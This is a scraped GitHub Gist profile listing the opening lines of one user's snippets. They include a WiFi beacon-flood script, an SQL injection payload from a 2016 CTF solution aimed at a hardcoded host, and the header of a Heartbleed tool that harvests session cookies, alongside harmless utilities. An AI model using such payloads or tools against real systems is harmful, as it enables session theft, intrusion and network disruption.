Skip to content

Instantly share code, notes, and snippets.

View k3an3's full-sized avatar

Keane k3an3

  • United States
View GitHub Profile
@k3an3
k3an3 / beacon.py
Last active April 30, 2018 15:53
Creates a non-functional SSID for each line in the supplied file. Snippet from https://github.com/keaneokelley/802.11-DoS
#!/usr/bin/env python3
#
# pip install pywiface scapy termcolor
import os
import sys
from argparse import ArgumentParser
from time import sleep
from pywiface.interface import MonitorInterface
from pywiface.models import AP
@k3an3
k3an3 / sv
Last active February 26, 2017 18:41
Wrapper for sv command in runit. Adds additional features that makes using runit easier. Not that I'm actually using runit.
#!/bin/bash
# Wrapper for sv to add additional functionality
# Copyright Keane O'Kelley 2017
#
# Place in /usr/local/bin
SV="/usr/bin/sv"
if [[ $# -lt 2 ]]; then
cat <<EOF
@k3an3
k3an3 / hf.py
Created January 31, 2017 17:29
#!/usr/bin/env python3
import errno
import socket
import sys
from time import sleep
PORT = 48899
AUTH = 'HF-A11ASSISTHREAD'.encode()
OK = "+ok".encode()
@k3an3
k3an3 / bulb.py
Last active February 28, 2017 02:30
#!/usr/bin/env python3
"""
bulb.py
~~~~~~~
This module is for communicating with the MagicHome LED bulb over TCP.
Wire protocol (bytes):
-------------------------------------

Keybase proof

I hereby claim:

  • I am k3an3 on github.
  • I am keane (https://keybase.io/keane) on keybase.
  • I have a public key ASBNUGLtitzrRBmO9DsHFwSEmWCjV7mkUk4Ym12mowo5FQo

To claim this, I am signing this object:

@k3an3
k3an3 / goodmorning.py
Created March 9, 2016 01:31
Solution to the "Good Morning" challenge for BKPCTF 2016
#!/usr/bin/env python3
import json
from websocket import create_connection
url = "ws://52.86.232.163:32800/ws"
sol = '¥\" or 1=1 -- -'
ws = create_connection(url)
@k3an3
k3an3 / decode.py
Last active January 31, 2016 00:04
from math import gcd
lines = []
groups = []
english_freq = "etaoinshrdlcumwfgypbvkjxqz"
ct = ""
def get_gcds():
# Assemble groups of 4 letters
for i in range(3, len(ct)):
@k3an3
k3an3 / syncwww
Last active August 29, 2015 14:12
Git->Webapp Update Script. Simple script to keep web site up to date with a Git Repo.
#!/bin/bash
uid=$(id -u )
if [ $uid = 0 ]; then
echo "Error! Must not be run as root."
exit 0
fi
if [ "$1" = "-h" ]; then
echo "syncwww v1.1.1 -- Keane O'Kelley 2015"
echo "Automates syncing with Github and updating the webpage"
echo -e "Usage: syncwww [options]\n"
#!/usr/bin/python
# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis (mike.philip.davis@gmail.com)
# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import select